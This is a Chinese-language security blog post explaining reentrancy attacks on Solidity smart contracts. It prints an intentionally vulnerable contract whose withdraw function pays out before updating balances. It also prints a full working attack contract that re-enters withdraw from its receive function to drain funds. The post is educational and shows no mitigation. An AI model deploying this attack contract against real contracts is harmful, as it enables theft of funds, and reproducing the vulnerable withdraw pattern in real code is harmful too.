# 安全审查-谈谈Reentrancy攻击

By [Canvie.crypto](https://paragraph.com/@canvie-crypto) · 2025-07-14

---

在Defi的应用中，防止重入攻击是最基本的需求，曾经也有很多因为没有防御机制，造成重要损失的现实案例。可以先看一下没有防御机制的代码

    contract Reentrance {
        using SafeMath for uint256;
    
        mapping(address => uint256) public balances;
    
        constructor() public payable {}
    
        function donate(address _to) public payable {
            balances[_to] = balances[_to].add(msg.value);
        }
    
        function balanceOf(address _who) public view returns (uint256 balance) {
            return balances[_who];
        }
    
        function withdraw(uint256 _amount) public {
            if (balances[msg.sender] >= _amount) {
                (bool result,) = msg.sender.call{value: _amount}("");
                if (result) {
                    _amount;
                }
                balances[msg.sender] -= _amount;
            }
        }
    
        receive() external payable {}
    }
    

重点关注withdraw函数，只要调用者还有余额就可以通过call把指定金额发送给调用者。这么看逻辑上是没有问题，但是为什么可以被攻击呢？我们来仔细看call这个函数的底层机制。在执行call的时候，执行权交由调用者，这时候调用者会执行自己的receive/fallback或者指定的函数。由于call是底层函数，gas没有限制，所以调用者可以执行更复杂的代码。在执行过程中，被攻击合约的状态变量当时还没有变化，也就是说balances\[msg.sender\]还没有改变，如果传递的金额满足判断条件（balances\[msg.sender\] >= \_amount），再次调用withdraw的时候，还可以再次执行call函数，反复执行。这个有点类似回调函数执行。直到余额都被盗用完。所以有以下攻击代码：

    interface IReentrance {
        function withdraw(uint256 _amount) external ;
        function donate(address _to) external  payable;
        function balanceOf(address _who) external view returns (uint256 balance);
    }
    
    contract ReentranceAttack {
    
        IReentrance reentrance;
        
        constructor(address _reentrance) public payable {
           reentrance = IReentrance(_reentrance);
        }
    
        function attack(uint256 amount) public {
          (bool success,) = address(reentrance).call{value: amount}(abi.encodeWithSelector(bytes4(keccak256("donate(address)")), address(this)));
          require(success, "attack failed");
          reentrance.withdraw(amount);
        }
    
        receive() payable external  {
          if (reentrance.balanceOf(address(this)) > 0) {
            reentrance.withdraw(reentrance.balanceOf(address(this)));
          } 
          
        }
    }
    

  
_如有任何问题欢迎邮件沟通：_[_huicanvie2014@gmail.com_](mailto:huicanvie2014@gmail.com)

---

*Originally published on [Canvie.crypto](https://paragraph.com/@canvie-crypto/reentrancy)*
